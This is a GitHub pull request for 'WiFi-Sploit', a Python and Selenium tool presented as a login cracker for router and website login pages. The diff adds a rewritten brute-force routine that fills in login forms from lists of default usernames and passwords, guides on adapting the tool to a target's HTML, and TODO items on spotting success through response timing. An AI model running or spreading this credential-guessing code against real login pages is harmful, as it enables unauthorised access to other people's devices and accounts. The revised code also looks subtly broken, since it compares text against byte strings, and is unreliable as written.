Skip to content

Correcting input field read only issue, enhanced README.md and added TODO.md #16

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 25 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
64 changes: 64 additions & 0 deletions HTML.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,64 @@
## First, examples os html codes and their correct use for the `wfs-browser-input.py`:

index.html:
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login Test</title>
</head>
<body>
<h1>Login</h1>
<input type="text" id="username" placeholder="Username">
<input type="password" id="password" placeholder="Password">
<button id="button" onclick="checkLogin()">Login</button>
<p id="message"></p>

<script src="script.js"></script>
</body>
</html>
```

script.js:
```javascript
function checkLogin() {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
const message = document.getElementById('message');

if (username === "admin" && password === "admin") {
message.textContent = "Success";
} else {
message.textContent = "Invalid login";
}
}
```

So, to begin with, we must identify the inputs and the html button:

```html

<input type="text" id="username" placeholder="Username">
<input type="password" id=" password" placeholder="Password">
<button id="button" onclick="checkLogin()">Login</button>
```

In this case, the correct use of `wfs-browser-input.py` would be like this:

```bash
...
Username html element name (default: username): username
Is username element an id or a name? (i/n): i
Password html element name (default: password): password
Is password element an id or a name? (i/n): i
Button html element name (default: button): button
Is button element an id or a name? (i/n): i
...
```

## Analyze error messages

According to the previous example, in the case of an incorrect login, the code will return the following sentence in the HTML: `Invalid login`
So for the python codes to identify the unsuccessful login, ensure that they have in the `expression` set the word `invalid` or whatever it is in your case.
30 changes: 17 additions & 13 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,22 +1,24 @@
<div style="display: flex; justify-content: space-between;">
<img src="https://github.com/d4v1-sudo/wifi-sploit/raw/master/assets/router.jpg" style="text-align: left ; height:25%; width:25%" />
<img src="https://github.com/d4v1-sudo/wifi-sploit/raw/master/assets/slash.png" style="text-align: center ; height:25%; width:25%" />
<img src="https://github.com/d4v1-sudo/wifi-sploit/raw/master/assets/www.jpg" style="text-align: right ; height:25%; width:25%" />
<img src="https://github.com/d4v1-sudo/wifi-sploit/raw/master/assets/router.jpg" style="text-align: left ; height:20%; width:20%" />
<img src="https://github.com/d4v1-sudo/wifi-sploit/raw/master/assets/slash.png" style="text-align: center ; height:20%; width:20%" />
<img src="https://github.com/d4v1-sudo/wifi-sploit/raw/master/assets/www.jpg" style="text-align: right ; height:20%; width:20%" />
</div>
<h3 style="text-align:center;">WiFi-Sploit</h3>
<p style="text-align:center;">
🔒 A password cracker for any login page
🔒 A login cracker for any login page
</p>

**Checkou the new ```beta``` branch**

## About

- Originally made for `python2` but it runs using `pyhon3` too.
- Originally made for `python2` but now just works using `python3`.
- Originally it was made for router's login pages but it works fine in any login page site, even on internet.

## Prerequisites

1. Your laptop/computer must be **connected to the Wi-Fi** network whose router or site login page will be pentested.
2. A laptop/computer that has `python` or `python3` installed.
2. A laptop/computer that has `Python 3.x` installed.

### How to install Python/Python3

Expand All @@ -34,25 +36,25 @@ Wifi-Sploit provides three scripts:

- This script performs password brute-forcing on a login page.
- Initially designed for router login pages but works on any login page of a website.
- Requires Python (compatible with both Python 2.7 and Python 3).
- Usage: `python wfs.py`.
- Requires Python 3.x
- Usage: `python3 wfs.py`.
- Before running, ensure you have the router's IP address, usernames, and passwords.

### wfs-browser.py

- Utilizes Selenium to interact with login pages through a web browser.
- Also designed for router login pages but adaptable to other websites' login pages.
- Requires Python and Selenium WebDriver.
- Usage: `python wfs-browser.py`.
- Similar prerequisites apply as in `wfs.py`.
- Requires Python 3.x and Selenium WebDriver.
- Predefined elements with `name` attributes: `username` for user and `password` for password
- Usage: `python3 wfs-browser.py`.

### wfs-browser-input.py

- Another Selenium-based script but with customizable HTML element names.
- Offers more flexibility in specifying HTML element names for username, password, and submit button.
- Useful when the default element names don't match the target webpage's structure.
- Requires Python and Selenium WebDriver.
- Usage: `python wfs-browser-input.py`.
- Requires Python 3.x and Selenium WebDriver.
- Usage: `python3 wfs-browser-input.py`.
- Allows users to specify HTML element names for username, password, and submit button.

<br />
Expand Down Expand Up @@ -97,6 +99,8 @@ pip3 install -r requirements.txt

- It is recommended to check out the `address.md` file for the Wi-Fi router's IP address before running the scripts.
- Default usernames and passwords for Wi-Fi routers can be found in the `username.txt` and `password.txt` files, respectively.
- **Important:** The logic implemented in the codes that tells whether a login was successful or not is the absence of a phrase or word in the "expression" set in the codes, so make sure that the phrase that represents a login error on your login page is there and make sure that there are no conflicts with the HTML code, as some words may persist in the HTML even if the login is successful. See more at [HTML.md](HTML.md)
- Make sure to put the correct inputs in `wfs-browser-input.py` for the code to work correctly, See more at [HTML.md](HTML.md)
- Remember, these tools are for educational purposes only. Misuse is not condoned.

<br />
Expand Down
2 changes: 2 additions & 0 deletions TODO.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
- [ ] Make elements that have neither id or name also identifiable by codes (example: elements that have onclick="something()")
- [ ] Compare response time between login attempts (which may indicate a successful login)
2 changes: 1 addition & 1 deletion requirements.txt
Original file line number Diff line number Diff line change
@@ -1,3 +1,3 @@
requests==2.22.0
selenium
selenium==4.17.2
requests-html
142 changes: 73 additions & 69 deletions wfs-browser-input.py
Original file line number Diff line number Diff line change
Expand Up @@ -14,17 +14,16 @@
GREEN = "\033[92m"
RESET = "\033[0m"

line1 = "__ _______ ____"
line2 = "\ \ / / ___/ ___| YOUR"
line3 = " \ \ /\ / /| |_ \___ \ LOGIN"
line4 = " \ V V / | _| ___) |PAGE"
line5 = " \_/\_/ |_| |____/ SPLOIT"

print(line1)
print(line2)
print(line3)
print(line4)
print(line5)
lines = [
"__ _______ ____",
"\ \ / / ___/ ___| YOUR",
" \ \ /\ / /| |_ \___ \ LOGIN",
" \ V V / | _| ___) |PAGE",
" \_/\_/ |_| |____/ SPLOIT"
]

for line in lines:
print(line)

def colored_print(text, color):
return f"{color}{text}{RESET}"
Expand All @@ -35,6 +34,67 @@ def get_user_input(default, prompt, color):
return default
return user_input

def is_read_only(element):
return element.get_attribute("readonly") is not None

def wait_for_editable_input(driver, by, value):
WebDriverWait(driver, 10).until(lambda d: not is_read_only(d.find_element(by, value)))

def brute(username, password, combinations_tested, total_combinations, driver, url, expression, username_element_type, u_name, password_element_type, p_word, button_element_type, button):
try:
driver.get(url)
print(colored_print("\nPage loaded successfully", GREEN))

driver.implicitly_wait(10)

print(colored_print("Waiting for username input field to become visible...", BLUE))

username_input = WebDriverWait(driver, 10).until(
EC.visibility_of_element_located((username_element_type, u_name))
)
print(colored_print("Username input field found and visible", YELLOW))

# Wait for the input field to become editable
wait_for_editable_input(driver, username_element_type, u_name)

password_input = driver.find_element(password_element_type, p_word)

# Wait for the password input field to become editable
wait_for_editable_input(driver, password_element_type, p_word)

username_input.clear()
username_input.send_keys(username)
password_input.clear()
password_input.send_keys(password)

try:
submit_button = driver.find_element(button_element_type, button)
submit_button.click()
print(colored_print("Form submission successful", GREEN))
time.sleep(5)
except Exception as e:
print("Error clicking submit button:", e)

time.sleep(2)

driver_lower_content = driver.page_source.lower()

if not any(item in driver_lower_content for item in expression):
print("\nBrute Forcing...")
print("[+] Username: ", username)
print("[+] Password: ", password)
print("Server Response:", driver.page_source)
sys.exit()
else:
print("Success condition not met")
print(driver_lower_content)

found_items = [item for item in expression if item in driver_lower_content]
print("Found items in HTML that prevented success:", found_items)
except Exception as e:
print("Error using Selenium:", e)
sys.exit(1)

def main():
usage = input("Show URL usage? y/n: ")
if usage.lower() == "y":
Expand All @@ -44,10 +104,11 @@ def main():
print("URL format: http/https://<url>:<port>/<directory>/<login-file>")
else:
pass

url = get_user_input('http://192.168.1.1', "Router's ip (default: http://192.168.1.1) : ", RESET)
print("\r")

expression = {b"error", b"incorrect", b"failure", b"try", b"again", b"invalid"} #you can add your own login page errors messages here
expression = {b"error", b"incorrect", b"failure", b"try", b"again", b"invalid"} # Add your own error messages here

u_name = get_user_input("username", "Username html element name (default: username): ", YELLOW)
username_element_type = get_user_input("i", "Is username element an id or a name? (i/n): ", YELLOW)
Expand Down Expand Up @@ -115,62 +176,5 @@ def main():
finally:
driver.quit()

def brute(username, password, combinations_tested, total_combinations, driver, url, expression, username_element_type, u_name, password_element_type, p_word, button_element_type, button):
try:
driver.get(url)
print(colored_print("\nPage loaded successfully", GREEN))

driver.implicitly_wait(10)

page_loaded = driver.execute_script("return document.readyState") == "complete"
if not page_loaded:
print("Page not fully loaded. Retrying in 2 seconds...")
time.sleep(2)
page_loaded = driver.execute_script("return document.readyState") == "complete"
if not page_loaded:
print("Page still not fully loaded. Exiting...")
sys.exit(1)
else:
print("Page loaded successfully after waiting.")

print(colored_print("Waiting for username input field to become visible...", BLUE))

username_input = WebDriverWait(driver, 10).until(
EC.visibility_of_element_located((username_element_type, u_name))
)
print(colored_print("Username input field found and visible", YELLOW))

password_input = driver.find_element(password_element_type, p_word)

username_input.clear()
username_input.send_keys(username)
password_input.clear()
password_input.send_keys(password)

try:
submit_button = driver.find_element(button_element_type, button)
submit_button.click()
print(colored_print("Form submission successful", GREEN))
time.sleep(5)
except Exception as e:
print("Error clicking submit button:", e)

time.sleep(2)

driver_lower_content = driver.page_source.lower().encode('utf-8')

if not any(item in driver_lower_content for item in expression):
print("\nBrute Forcing...")
print("[+] Username: ", username)
print("[+] Password: ", password)
print("Server Response:", driver.page_source.encode('utf-8'))
sys.exit()
else:
print("Success condition not met")
print(driver_lower_content)
except Exception as e:
print("Error using Selenium:", e)
sys.exit(1)

if __name__ == '__main__':
main()
Loading